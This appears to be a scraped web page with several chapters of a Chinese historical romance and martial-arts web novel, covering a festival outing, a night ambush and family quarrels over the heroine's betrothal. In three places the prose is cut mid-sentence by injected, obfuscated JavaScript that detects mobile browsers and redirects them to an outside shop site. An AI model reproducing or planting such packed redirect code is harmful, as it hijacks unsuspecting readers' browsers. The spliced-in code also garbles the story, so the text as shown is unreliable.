元向依慌忙躲在隐蔽处,就见温衡施施然出了门,而睿王的人却并没有出来阻拦他。 莫非睿王觉得温衡油盐不进,直接放弃了? 她对此摸不着头脑,却忽然意识到,温衡必定是回花神庙找自己去了! 于是她迅速下楼,选了和温衡完全不同的另一条路,向来时方向而去。 温衡自然知道,元向依一直跟在自己身后,方才的那番话,既是说给睿王听,也是希望她能明白他的心意。 想到她听到那些话的反应,温衡微微笑了起来,等下可还要装作完全不知情的样子,真是有些难为他了。 * 元向依紧赶慢赶,终于赶在温衡前面,到了花神庙前约定好的位置。 她等待片刻,就见温衡从不远处缓步而来,在人群中,他身姿风仪出众,是一眼就能望见的存在。 他走到她面前,低声道:“抱歉,有些事情耽搁了,让你久等。” 元向依摇了摇头:“无妨,我今日梳妆迟了些,也是刚到。” 温衡瞧着她额头的汗珠,终究还是不忍心戳穿,和她相视一笑:“那我们进去吧。” 两人穿越层层人潮,进入殿中。元向依跪在蒲团上,有些发愣,四周多是些来祈愿的少女,她们脸上带着虔诚的神情,祈求花神护佑,芳龄永驻,或寻个如意郎君,成就一桩美好姻缘。 虽不知是否真的灵验,但信其有不信其无,她思忖片刻,思索着心中所求,也学着旁人的样子,伏身拜了下去。 一拜,愿父兄平安,早日顺遂归家; 二拜,愿匡扶社稷,外敌秋毫无犯; 她直起身子,目光越过人海去寻找温衡的所在,恰好望见他正朝这边看来。 两人目光交错,温衡微微一笑,目光一瞬不瞬,温柔注视着她。她心里突然又有所求,生出了再拜一拜的愿望。 于是当她收回目光,再次下拜时,多了些真挚和期冀。 三拜,愿温子瑜一生健康平安,喜乐无忧。 两人出得殿门,却听身后有人呼喊道:“小郎君,小娘子,且留步哇。” 元向依回过头去,发现大殿旁有一棵桃花树开得正好,茂密的枝条上,错落有致地绑了许多红色丝带。 树下支了一张小桌,旁边竖了个牌子“铁口直断,不灵免钱”,桌后坐了个小老儿,这声音便是从他而来。 见二人被吸引了注意,小老儿热情地说:“今日花神娘娘庇佑,二位何不来算上一卦?” 元向依本不太信这些,但身边的温衡显然来了兴趣,领她走上前去,对那小老儿道:“既如此,你帮我二人算一卦罢。” 小老儿摸出三枚大钱来,这钱看着并不像普通的铜钱,而是发出隐隐的青色,似乎是什么古旧之物。他将大钱连掷六次,看看卦象,又看看两人,随后一拱手。 “恭喜小郎君和小娘子,你二人确是佳偶天成,可喜可贺啊!” 温衡“扑哧”一声笑了出来,而元向依则红了红脸,转身就要离开。 小老儿连忙拦下:“这位小娘子还请稍等,小老儿还有一句话送给你。” “前缘由天定,前路未可知。” 这话在她听来,指的便是她重生之事。 元向依深深看了小老儿一眼,特意福了福身,摸出二十文道:“我记下了,多谢老丈。这卦金还请收下。” 小老儿只拿了十文,将剩下的铜钱往前一推,笑呵呵道:“哎~小本生意,明码标价。二位的卦我只收十文。” 待元向依转身离开后,温衡将一锭银子悄悄放在了桌上,对小老儿使了个眼色,随即紧随元向依而去。 出了花神庙,二人一齐向西行去。 元向依思索再三,终于开口:“今日我来赴约是想提醒你,我大哥快回来了。” 温衡却似乎十分惊喜:“是么?内兄要回京了?那我届时一定上门拜访。” 元向依骤然打断:“不行!” 在温衡惊异的目光中,她也觉得甚为不妥,软了态度低声道:“我大哥那个脾气,读书人应当是受不了的……你最好不要急着见他。今日之后,我们短时间内也不要再见面了。” 温衡面色略有不虞,仍是没说什么,向前继续走去。 * 到了晌午用饭,茶肆人多且杂,热闹非凡。元向依才坐下不久,便有小托盘递到了面前,一个清脆的童音打断了她的思绪:“姐姐,来点果脯尝尝鲜?” 元向依看这小童不过总角之年,眉清目秀,面容讨喜,便又瞧了瞧他的托盘,道:“你这都是些什么呀?” 小童清了清嗓子开始报:“咱这有河北来的梨条、梨干、梨肉、胶枣、桃圈……” 温衡手一指,问道:“这是什么?” 小童道:“这是党梅,是我家卖得最好的果子啦,二位先尝,喜欢再买。” 元向依依言,拈起一颗送进嘴里,果然酸甜适口。 转念又想,这小童在此处贩果子也是辛苦,不若多买一些,好让他早早回家去。 温衡似乎与她想到了一处,便开口道:“不止这个,你家所有果子,都包一些过来,我们带回去慢慢吃罢。” 小童面上十分欢喜:“多谢哥哥!多谢姐姐!” 温衡将铜板放进他手里,道:“拿好了。送完早些回家,与你爹娘一处过节罢。” 小童将铜板放进脖子上挂着的钱袋中,临走还对他二人挥手:“二位有空过来玩!我家便是回音巷朝南第三间果子铺!好认得很!” 小童走后,元向依忍不住打趣:“温大人,你的俸禄便都是用来买这些?” 温衡小口啜着杯中的茶水,半晌才道:“偶尔破费一下,其余的存下留作彩礼。” ……她不该问这个问题的! 他认真想了想,又补了一句:“何况若是为了你,那便也不算破费了。” 罢了,既然温衡请了果子,那她便做东请客。她向温衡道:“请人不如请全套,我再请你吃一回茶,听一回书。” 两人用完餐,自有小厮奉上沏好的香茶,第一道先作漱口用,第二道方才用来品茗。 忽听得此时醒木一拍桌,一白发老叟已摇着扇子坐在案后,声如洪钟道:“列位看官,有道是六国沧桑尘卷土,英豪百年也作灰。今日讲这武烈帝开国定江山的故事,还请各位细听分说。” 便有茶客叫了起来:“这今日过节,讲点新鲜的,什么六国啊打仗啊,太沉重了,不好不好。” 说书人显然是习惯了这样的要求,很快神色如常,又一拍醒木,便道:“那今日便讲个风流侠客的故事。” “十余年前,这江湖上便有两对出名的侠侣,一对是当今虎贲军威远将军伉俪,另一对则是江南万毒门的掌门与夫人。且容我慢慢道来……” 温衡听了半晌,忽然意识到了什么,悄声问她:“没想到令尊也曾经年少轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114491|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂,过着一壶浊酒一双人的日子。” 不错,说书人口中的虎贲军威远将军,正是她的父亲元修。 当年父亲尚未入京为官时,也曾行走江湖。少年总是多意气,一次与万毒门掌门相约天山比剑,虽然最终未分胜负,两人却惺惺相惜,引为知己。 只是可惜故友多年未见,再收到消息时却是噩耗传来。 世事无常,说书人口中的两对侠侣,如今也只剩她父亲一人。 想到这里,她便向温衡道:“不错……那是多年前的一桩旧事了。家父曾说起过,那万毒门掌门虽是江湖中人,气质却清贵矜雅,没有半点草莽之气,倒像是簪缨世家的贵人。” 温衡闻言便笑了,似是对此兴味浓厚:“如此说来,倒是令人向往,想看看是究竟怎样的人物,能当得令尊此番评价。” 元向依摇了摇头:“听闻那位前辈早已过世,若是留有后人,我当主动结识一番。” 只是天下之大,杳杳无踪,若要遇见一个人,又谈何容易呢? * 今日春和景明,路上无数行人,富贵人家乘着宝马香车,有妇人挑帘向外看去,欣赏这无边春色;普通少女则提着裙裾,挎着竹篮,三两成行。 而不论达官贵人还是平民男女,皆呼朋引伴,向同一方向而去。元向依和温衡对视一眼,决定过去看看。 到了地方才发现,原是官府的百花园子,以供花市贩花之用,只是若要买花,城门口便有花市,何故还专程出城到这园子里来? 两人随着人流进了园子,向前行去,只见园子深处一棵梅树,树上红梅灼灼怒放,远远便传来清冷梅香。 树下一片开阔空地,搭了个三尺左右的台子,已有许多人围在那台子旁边。两人等在外侧,看究竟有何盛事。 等了片刻,突听得三声锣响,台上来了个青衣皂靴的人,看打扮是个小吏。 这人唱了个喏,对台下众人拱手道:“小可孙江,乃是在排办局当差。今日花神盛会,圣上特命开办扑蝶会,与民同乐。” 台下喧哗起来,待声音稍低些,这人继续道:“扑蝶会不论男女老少,皆可自愿上台,每轮放出五只,半柱香时间内全部扑到者即算胜出。” 台下有人便叫:“既是胜出,可是有些彩头?” 孙江点头道:“说得不错。这彩头便是我排办局苦心培植的白梅一株。此梅珍贵,花开时香气深沉悠远,远胜一般品种,难得的是花瓣如雪洁白,也无任何杂质,只蕊心一点红,故而命名为''笑春风''。” 说着便让人将花盆搬了上来,只见这白梅果然与他所说一般无二,台下众人见惯了红梅、腊梅,不禁啧啧称奇起来。 只转眼间,就有多人报名上台。孙江安排报名众人一一列队,按次序上台来,并放出蝴蝶。 那有经验的,自是带了捕网来捉;图个新鲜的闺门小姐,也用随身的团扇试着去扑。 只是数轮过去,最多也只有人扑到四只。眼见无人可算胜出,孙江也不想扫了众人兴致,决意今日定是要将这白梅送出,扑蝶会才算圆满落幕,便高声叫道:“还有哪位公子姑娘愿意上台的?” 元向依看看身边一身白衣的温衡,忽然觉得这白梅和他甚是相配。 自从她提及不要见面的事情开始,温衡虽未言明,她却也隐隐能察觉到,他似乎心情不大好。 听说读书人生性高洁,都十分喜爱梅花,如同江御史那般。那她若是赢了这白梅送他,兴许能哄他高兴。 她好久不活动身手,此刻也有些技痒,于是伸手摘下挂在腰间的香囊,飞身上台道:“我来。” 9. 夜袭 孙江见她气度不凡,作了一揖:“姑娘请。”说罢示意放出蝴蝶。 元向依见状,抬手去阻:“不必了,你燃香便是。” 见她如此,台下便有人起哄:“不放蝴蝶,你扑什么?难不成扑蛾子扑空气啊?”此言一出,围观众人全都哄笑起来。 她也不恼,几息之间,电光火石突然动作,似是抓了一把空气拢在手心,见围观众人多有不解,她缓缓张开手,手心中是一只翩然欲飞的蝴蝶。 众人方知她原是打算徒手扑蝴蝶,之前数轮中漏网的蝴蝶,倒是还有不少在空中飞舞,只是显然比被捉的那些机敏许多,且蝴蝶娇嫩脆弱,若是被她握上一握,就此殒命就不好了。 一时间台下窃窃私语无数,皆打算看一看这热闹。 元向依待众人看清,才将蝴蝶轻轻放进香囊,那蝴蝶误将香囊当作了鲜花,倒也不飞走,乖觉地躲在里面不出来了。 温衡的嘴角扬了起来。 香已经点了,她足尖点地,自台上腾空而起,追寻蝴蝶飞舞的轨迹而去,身法快如鬼魅。 或以二指夹住蝶翼,或以掌心拢住整只蝴蝶,力道控制极好,蝴蝶虽无法逃脱,却依然轻轻扇动蝶翼,显然是没有受伤。 眼见空中的蝴蝶尽数被收进了香囊,元向依轻巧落地,炉中的香却还有一小截才烧完,台下早有人带头喝彩,鼓起掌来。 眼下这情况,孙江不用去数,便知道是她胜了,拱手叹服道:“这''笑春风''也是合该与姑娘有缘。” 元向依从孙江手中接过那白梅,跃下台来,快走两步到了温衡面前,将白梅递给他。 温衡却突然伸手打开了香囊,受到白梅的香气吸引,霎时间十数只蝴蝶从香囊中飞出,围绕着在二人身边翩翩飞舞,不肯离去。 众人皆惊叹于此景,更有那大胆的女子,便欲向温衡身上掷花示好。 趁她愣神间,温衡低头掐了一朵白梅,抬手簪在她的鬓边,便引来一只白色蝴蝶停留其上,轻轻扇动着翅膀,贪恋花香而不肯离去。 温衡笑道:“这许多白梅,它却只偏爱你鬓间那一朵。” 她下意识伸手去摸,指尖堪堪碰触到柔软的花瓣,温衡便出言提醒道:“这花很衬你,好看。” 当着这么多人的面,元向依的脸上浮现出了淡淡的红晕:“这白梅珍贵,你随意摘下,花朵无法再回到枝头,岂不浪费?” * 看看外面天色不早,回城也还需一段时间,温衡便道:“要入夜了,我们去寻盏花神灯罢。” 作为回礼,温衡决定亲手画一盏花神灯送给她,这倒是他的长处了。 于是元向依以手托腮,坐在对面看着挥毫泼墨的温衡。他心无旁骛,元向依也不好打扰,只能发呆。 恰巧此时花灯铺的老板刚忙过一阵,呵呵笑着迎了过来:“这位公子好兴致,每年咱这买灯的人不少,自己画的倒是从来没有过。” “不过公子可得快些,眼下已入酉时了,若再晚些,只怕枝头已挂满花神灯了。” 温衡又细细描了几笔,随即搁笔,吹了吹上面的墨迹:“好了。” 元向依便凑过去看,问道:“这画的是哪位花神?” 温衡对于自己的作品也颇为满意,正色道:“杏花。” 只是这杏花花神一身戎装,长发高高束起,左手拈弓,右手搭箭,眼神张扬而锐利,不像花神,倒像个武将。 像她。 经过白日的喧闹,夜晚的城中显得宁静了许多。晚风送来暗香,灯火映着花枝,偶有少女三两成群立于树下,笑语盈盈赏着各色花神灯,仿佛在比较谁的更胜一筹。 两人提着灯在路上并肩而行。这花神灯中放置了花枝样式的烛台,再点起杏花样式的蜡烛,远远看去仿佛灯中便有杏花盛放一般,在“花神”面上投射出柔和的光辉。 那店家说的果然不错,出来晚了,竟真寻不到可以张挂花神灯的枝梢,尤其是与灯相合的杏花,大多都在城外栽种,更是难寻。 连续走了五条巷子,两人都有些窘迫,却谁也没有点破。 又在街上走了一阵,环顾四周,已经是人烟冷落车马稀的僻静地方,元向依此时却停下了脚步。 “走下去怕是也未必能找到合适的花树,既然如此,今日便不挂了,也没什么。”她微微举起手中的花神灯致意,“不过这灯,我可要带回去。” 何况她也担心,温衡的身体会吃不消。 温衡来了兴致:“哦?你很喜欢这灯?” 元向依笑了笑:“你这画的所谓花神,和我有七分相似。” 她用指尖抚摸着那画像的眉眼,又道,“不过这还是第一次有人画我,留着做个纪念。” 两人之间隔着一盏灯火暖晖,温衡笑容明亮,对她道:“好好好,都依你。天色已晚,我们回去罢。” 一阵夜风吹来,灯中的烛火跃动,连带着影子在温衡的脸上忽明忽灭。 元向依的神情突然一肃,低头吹灭了灯,在他耳边道:“快走!” 她又怕温衡跟不上她的步伐,也不顾那么多了,下意识就牵紧了他的手。 温衡也察觉到气氛不对,并不发问,只是沉默地跟随她一直向前。 细碎的脚步声传来,明显是训练有素的一支队伍。 元向依也不迟疑,知道对方来者不善,再掩藏也是无用,索性拉着温衡跑了起来。 只听得头顶上方传来破空之声,她骤然抬头,只见一张麻绳编成的大网兜头罩下! 恰在此时,温衡似乎是无力再跑,生生拖慢了她的脚步,只这片刻,大网刚刚好落在二人身前,没有将他们困入其中。 只这一息之间,前方已闪现了数个同样装束的黑衣人,和后方的追兵形成合围之势。 元向依牵着温衡,环视四周,黑衣人的手尽皆按在刀柄上,内外两层共二十四人,将二人包围得密不透风。 虽然自己随身携带了软剑,但对方所用兵器皆是三尺有余的长刀,只怕难以近战,当下便有了思量。 双方静静对峙着,都在等待一个时机。 一个——对方露出破绽的时机。 远处传来打更的声音,元向依的瞳孔缩了缩。 现在,就是最好的时机! 雪亮的刀光一闪,离得最近的黑衣人按捺不住挥刀劈来,元向依将将闪过,随即飞起一脚,不客气地踢碎了他的下颌骨。 她抽出藏在腰间的软剑,软剑银光闪烁,所到之处如银蛇游过,黑衣人来不及发出声音便被割破了喉咙,接连软绵绵地倒下。 领头的黑衣人见状,打了个手势,离温衡最近的黑衣人突然发难,一刀横削过去,瞄准的是他脆弱的咽喉。 元向依听得身后破空之声,急急大力一拉,将温衡拽到身边,才让他逃过此劫。 只是她一边对战,一边觉得这些人似乎力不从心,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114492|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手一次慢过一次,不知是出于什么缘由。 在她看不见的地方,温衡手中银芒闪烁。那针上也是涂了毒的,只是效果慢些,才能不让元向依发现他出手。 如此僵持了一阵,黑夜长街的尽头,有一人纵马而来。 他铠甲雪亮,枪尖锋芒闪着银光,而恰在此刻,包围圈被元向依打开一个豁口。 那人弃了马,飞身跃进圈子里,来到他二人身边。余下的黑衣人则迅速合围,让包围圈比之前更小。 元向依认出了那人的身影,试探着叫道:“大哥?” 元寄北的身上依然带着北境战场的煞气,他的眸子如寒星一般,锁死了对面的敌人:“奶奶的,敢欺负老子的亲妹妹?老子让你们吃不了兜着走!”说罢舞起银枪,冲上前去。 元向依则紧随其后。与元寄北的大开大合不同,她因为使的是软剑,剑路奇诡,令人防不胜防,正如毒蛇吐信。 但毕竟家学渊源,两人均是战场上搏命的打法,不关心招式,只注重结果。在这一点上,两人也可以说是殊途同归。 元向依这边清理得差不多,还剩最后那领头之人时,那人却突然从一旁的摊子后面揪出来一个人,是凌思语! 有凌思语这个人质在对面,元向依也不敢轻举妄动。 趁无人注意时,温衡指尖一抖,三根银针便飞了出去,封住了那人三处大穴。 那人一时动弹不得,就已经失了先机。元向依把人救下来的同时,元寄北已经一脚踏住那人的胸膛,手中银枪毫不留情地刺穿了他的要害处。 那人痛呼一声,嘴里流出血沫来,还未来得及言语,便被他巧劲卸了下巴,挤出他牙床内藏着的毒药。那人只咿咿呜呜的,也说不出话了。 元向依将剑收在腰间,走上前去,问道:“这人如何处置?” 元寄北道:“自然是带回去细细审问,你哥我下手晓得轻重,放心。” 元向依心想,就是因为是你才不放心好吗! 就在此时,远处传来匆匆的脚步声和熟悉的呼喊:“将军!二小姐!” 原来是麾下两位副将带了二十亲卫赶到。两人见了元寄北,单膝跪地,抱拳道:“将军,属下来迟,护驾不力,请您责罚!” 元寄北故意板起了脸,两人见他这副模样,把头低得更深。他叹了一声:“怎样罚你二人才好呢?” 两人互相看了一眼,道:“但凭将军责罚!” 元寄北道:“你二人轻功也忒差了些,怎么随我带兵打仗?明日起便在腿上绑上沙袋去捉小鸟,什么时候比我快了,什么时候便罚完了。” 其中一个苦着脸抬起头来:“将军,你是骑马来的,我等却只有两条腿跑过来,这样比不好、不好。” 另一个又一把按下他的头:“属下领命,我二人明日便遵照吩咐开始练习。” 凌思语偷偷抿嘴笑了,元寄北咳了一声:“收拾一下现场,别给京兆尹添麻烦。” 二人齐声道:“是。”看了下元寄北身后横七竖八歪着的二十多具尸体,便招手让亲卫上前清理。 如此安排停当,众人便决定先行回去。 元寄北将那活口捆得严实,直接扔到了马上,又好像想起什么,大踏步回过身来。 元向依忽然有种不好的预感,还未来得及出言阻拦,元寄北已经往温衡脸上毫不客气地挥了一拳。 “就是你这个小白脸害我妹妹差点受伤的?” 10. 问心 变故来得突然,元向依根本来不及阻拦,眼睁睁看着温衡的身子倒飞出去,像一片秋叶向地面坠落。 她迅速飞身上前,在他落地之前接住了他。 果不其然,温衡又昏了过去。她扶着他的肩膀,让他靠在自己臂弯里,以便于查看他的伤势。 温衡的嘴角高高肿起,青紫一片,血迹蜿蜒而下,在他苍白的面容上分外显眼。 虽然看起来只是受了皮外伤,但元向依仍然不敢松懈。毕竟自家大哥天生神力,虽然方才对着温衡已是留手,但就温衡的体质而言,这一拳足以要了他半条性命。 她毫不掩饰面上责怪神情,向元寄北兴师问罪:“大哥!你这是做什么?” 以往在家中,父兄对元向依百依百顺,除了在战场上,还从未见过她这般疾言厉色。 元寄北愣了愣,下意识就开始反思自己是否做错,可他思来想去,依然没有觉得有何不妥。 定是这小子给依依下了迷魂汤了!说到底都怪他没有尽到做大哥的责任,把依依独自一人留在盛京,才会给这等宵小之辈可乘之机! 他清了清嗓子,理直气壮地开口:“打的就是他!不知道用了些什么手段,就想把你骗娶回家去。我告诉你,这门亲事我第一个不同意!” 凌思语在旁边扯了扯他的衣袖:“元大哥……亲事是依依自己向圣上求来的,温大人他……” 元寄北打断了她,继续对元向依道:“妹妹不要担心,大哥自有办法让圣上收回成命!我元寄北的妹妹若是不愿嫁人,谁也强迫不得!” 元向依听在耳中,气得发笑,指着温衡的伤处道:“你打便打了,怎的还打脸,叫人家怎么上朝?” 元寄北先前激动之下,一时疏忽忘记了这件事,讷讷地挠了挠头。 眼下治伤要紧,元向依也懒得和自己大哥辩驳,索性打了个唿哨,示意元寄北的马过来。 那马是他多年坐骑,与元向依极为熟识,当下越过主人,几步到她身边,略略低头亲昵地蹭着她的掌心。 她深深地瞧了元寄北一眼,把那黑衣人从马上扔下来,又将温衡扶上去,自己则坐在他身后,头也不回地向记忆中温府的方位疾驰而去。 元寄北看着她远去的背影,有些不知所措:“依依从小到大都没有这样对我发过脾气,如今是打算为了一个不相干的狗男人,连大哥也不要了么?” 他脸上流露出委屈的神情,问凌思语:“小语,你觉得我做错了吗?” 凌思语沉思半晌,缓缓道:“错就错在,你不该打脸。” 凭她对元向依的了解,那样一副皮相若是打坏了,她还不知道有多痛心疾首呢! 元寄北又想了想,突然对凌思语道:“小语,现在天色已晚,我该送你回府才是。但晚上大夫难请,你又通些医术,不知是否可以随我一同过去看看?” 凌思语一向不懂得拒绝他,习惯性地点了头。等她意识到自己乃是女子之身,出诊外男实在不妥时,元寄北已经将她提起,放到了自己背上。 他的神色无比自然:“马被依依骑走了,只能委屈你骑我了。” 这话说得好笑,只是她还来不及反应,元寄北就施展轻功,带她翻上了路旁的屋顶。 他速度极快,凌思语下意识就双手环住了他的脖颈,避免自己不小心掉下去。 夜风迎面吹来,她躲在元寄北身后,试探着将脸颊轻轻贴在他的背上。 银甲冰凉,心却滚烫。 * 温衡坐在马上,依然人事不省。 元向依将他圈在怀里,一边加速狂奔,一边尝试着叫他的名字、和他说话。 她絮絮的低语被夜风吹散,半晌后,终于等到身边人悠悠转醒。 温衡低低咳了几声,示意她自己无碍,可在她看来,那摆手的动作也无比虚弱。 她心中愧疚与懊恼交织在一起,小声地向他解释:“我大哥从来就是这样莽撞的性子,所以之前不打算让你见他,其实也是出于这层考虑……” 她越说声音越小,定了定神才继续道:“我元氏以武持家,都是舞刀弄剑的粗人。我也并不是那等柔柔弱弱的闺阁小姐,手上沾过的血,怕是一点不比我大哥少。” 她想起白日里睿王拉拢他的那番言语,便有意多说几句。 “你心思剔透,想必也能感受到,盛京城内如今暗潮涌动,像今夜这种情况,我不能保证不再发生,但只要我在你身边,便会设法护你周全,这便是我能够给予你的承诺。” “若是你介意其中潜在的危险,我也可以理解,婚事我会想办法向圣上禀明,就此……” “作罢”二字还未说出口,温衡突然握住了她执着缰绳的手指。 她瞬间收声,正想不动声色地抽回手,就听他轻声低语:“吾妻若有凌云志,当乘疾风上九霄。” 什么? 元向依以为自己听错了,就听温衡继续道:“你若有想做的事,只管放手去做,起码在这之前,我还不会那么轻易死掉。” 他声音虽轻,却极坚定:“只要你我夫妻荣辱生死共担,又有何惧?” 这一番剖白让元向依不知如何回应,只好故意耍起姑娘家的小性子:“什么死不死的!你……你受伤了,不许再说话了。” 温衡则笑着应道:“好,我不说了。” 一路诡异的沉默让她无心思考,直到抵达温府,将温衡交给松柏,她才略略松了一口气。 只是这口气才放下没多久,就又提了起来,因为她看见,大哥和凌思语也出现在府门外。 她以为元寄北还是不肯放过温衡,无奈之下自己拦在门前不许他进:“大哥,你闹也闹了,打也打了,有事我们回家再说。” 凌思语却率先开口:“依依,你误会了,元大哥带我过来,是为了给温大人看看伤。” 元向依道:“胡闹!你是女子,怎可夜间上门给外男诊治?” 凌思语歪着头,天真无邪地看着她:“依依,我现在是男装打扮,只要你们不说,旁人也看不出来。” 元向依这才来得及打量她。她今日一身天青色圆领袍,遮掩住了纤细的身形,除了唇红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114493|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齿白些,确实看不出来是位闺阁小姐。 于是元向依犹豫着点了点头。毕竟有了上次陆时安的教训,如果此事被有心之人传扬出去,只怕大哥也得吃不了兜着走。 相较于一般大夫,凌思语绝对值得信任,是最合适的人选。 她侧过身去,好让凌思语得以进门,却依然拦着自己的大哥。待凌思语的身影看不见了,她才对元寄北道:“大哥,你随我来。” * 凌思语在松柏指引下,跨过垂花门,来到温衡会客的内厅。 温衡面色苍白,看起来确实身体不适,只是元向依嘱咐过他,他便在此处等候凌思语。 见她来了,温衡欲起身行礼,凌思语却摆摆手:“温大人,现在您是病人,我是大夫,无需如此客气。” 她在他脉上搭了块帕子,便开始诊脉。借着诊脉的时机,第一次近距离端详他的眉眼。 他五官精致却又艳丽,嵌在白皙如玉的面容上,说是仙人妙手丹青也不为过。 凌思语看了一阵,温衡却恍若未觉,只是低垂着头,乖巧地任她摆布。 半晌,凌思语终于收回目光。 温衡脉象虚浮,脉细如丝,她探了好一会,才摸到他微弱的脉息。的确如他所表现出来的那样,病气郁积,血虚气弱。 见她久不言语,温衡终于询问道:“如何?” 凌思语收回手,对他道:“温大人今日受伤,并未伤及内里,但体内沉疴看起来已是缠绵许久,此事依依可知情?” 温衡点头道:“我既与元姑娘有婚约,自然不会瞒她。” 凌思语心下不解,却不好直接发问,于是寻了个由头说起:“温大人拖着如此病体,却还是好兴致。今日花神庙诸事,想必少不了大人的精心安排。” 的确,那算命老儿和说书人是温衡的人。 他也不否认,淡淡笑了:“凌姑娘不也一样?一路跟着我与依依,我已经将身上银钱悉数奉上,也没能取得凌姑娘的信任。” 他摇了摇头,似是十分可惜。凌思语没想到,他竟知道那卖果脯的小童乃是自己找来上前试探的。 她从身上摸出温衡买果脯的铜板放在桌上,终于把话挑明:“温大人,虽然不知你究竟是何用心,但若是你敢伤害依依,别说元大哥,我也不会答应。” 温衡默然地垂着眉眼,半晌才道:“你今日亲眼所见,我与依依情意甚笃,并非作假,怎会做如此想?别说是伤害她,便是让她伤心,我也是万万不能的。” 凌思语站起身来,看向他的目光中仍是提防和猜疑。她沉默片刻,缓缓说道:“我会看着你的。” * 凌思语走后,松柏才悄悄走进房内,在温衡身前蹲下。 温衡脸上还未上药,乍看上去,伤口肿得老高,有些吓人。 松柏一边取药,一边咋舌:“小侯爷,您这大舅哥下手可真够狠的!您才刚去上朝两天,这下又不用去了。” 温衡沉思着,仿佛没听见一般,好一会儿才道:“我看上去,有那么像心怀不轨的歹人么?” 11. 疑云 松柏以为他是伤心,便有心安慰他,斟酌了半天字句,才小心翼翼道:“小侯爷,您是个顶顶好的人,只是出现的时机太过突然,才会被夫人身边的亲友误会。” “等到他们和您真正成了一家人,自然会接纳您的。” 温衡便道:“罢了,无妨,只要依依信任我就好,旁的人我也不在乎。” 松柏早该知道,小侯爷根本不是那多愁善感的性子! 但他心头也有疑问,他一边替温衡上药,一边问他:“小侯爷,您觉得今晚上那些出手的,是什么人?” 温衡闭着眼,淡淡道:“你有什么想法?” 松柏思索片刻,答道:“属下觉得,应当是江湖之人。” “哦?何以见得?” “京城内不允许王公亲贵豢养私兵,也不可能是巡防营和羽林卫的人。官兵所佩的刀剑均刻有特殊印记,非常容易识别出来。如此看来,唯一的可能就只有江湖人士了。” 松柏把药收好,神情有些担忧:“小侯爷,不会是家里出了什么岔子,连累了夫人吧?” 温衡缓缓睁开了眼睛,他目光炯炯,仿佛洞悉一切。 “松柏,你未免也太小看我驭下的手段了,我若连家里那一摊事都处理不好,又如何敢孤身一人来到京城呢?” “属下不敢。” 温衡看似胸有成竹,对松柏道:“江湖朝堂本就同气连枝,自古以来如此。今夜过后,我们还有许多事情要做,安插的暗棋也是时候该动一动了。” * 元向依引着元寄北到了温衡宅子内的一处花厅。此处僻静,无人打扰,正适合她与大哥谈心。 元寄北看她轻车熟路的样子,眉头又紧紧纠结起来。 看样子依依早已来过他这里私会,这小白脸忒不是东西!为了依依的终身幸福,今日无论如何,他也要拆了这桩婚事! 他这边踌躇着该如何开口,元向依则在为另一件事而烦恼。 在她的记忆中,花神祭当夜并未出现当街刺杀这等胆大包天之事,也就是说,因为她改变了自己被迫嫁给陆时安的命运,有些事情会和从前不一样了。 她心头担忧,便向元寄北道:“今夜之事,大哥怎么看?” 元寄北神色复杂,思量再三,还是开口道:“依依,大哥反复考虑过了,还是认为那个……叫什么温衡,他不适合你啊!你看看你刚和他议亲没多久,就遭到这种飞来横祸,指不定后面还要遇见什么倒霉事……” 元向依扶额,正色道:“大哥!我说的不是这件事。那些突然袭击的黑衣人是何方势力,你心中可有头绪?” 元寄北没想到她会问这个,明显一愣,讷讷道:“我也只是碰巧赶到,实在不知。” 元向依知道自家大哥虽然勇武无双,于这些心机上却是差了温衡许多,也就不再追问,只慢慢说出自己的猜想。 “我元氏常年驻军在外,不涉党争,不知盛京局势已经大不如前。” “当今圣上膝下有五位成年皇子,其中最有实力的莫过于睿王和康王两位。而圣上似乎有意放任两位殿下相争,只在必要时加以约束。” “大哥有所不知,康王殿下曾试图求娶我,你了解我的性子,自然是不愿意嫁他的,何况,我已有了温衡。” “上巳节那日,我二人已是开罪于康王。今日早些时候,睿王试图拉拢温衡,又被他委婉推拒。” 她怕大哥得知真相,会控制不住自己的脾气,做出什么出格的事来,于是只捡了重要的说。至于其中多少曲折,陆时安又是怎样设局害她,全部一笔带过。 “康王如今禁足府中,只怕难以安排人手。可睿王上午才见过温衡,如果此时动手,难免嫌疑更大。” “眼下山雨欲来,元氏前路岌岌可危,这也是不争的事实。” 元寄北没想到自己在外的时候,小妹独自在盛京承受这许多,一时间犯了愁:“依依,那你说,我们应该选哪一边?” 她也没有深入想过这个问题,前世陆时安已经身体力行地证明了,他当不好这个澧朝的君主。她相信,若是换了睿王来,大抵结局也是相似的。 她轻声道:“两个都不选。” 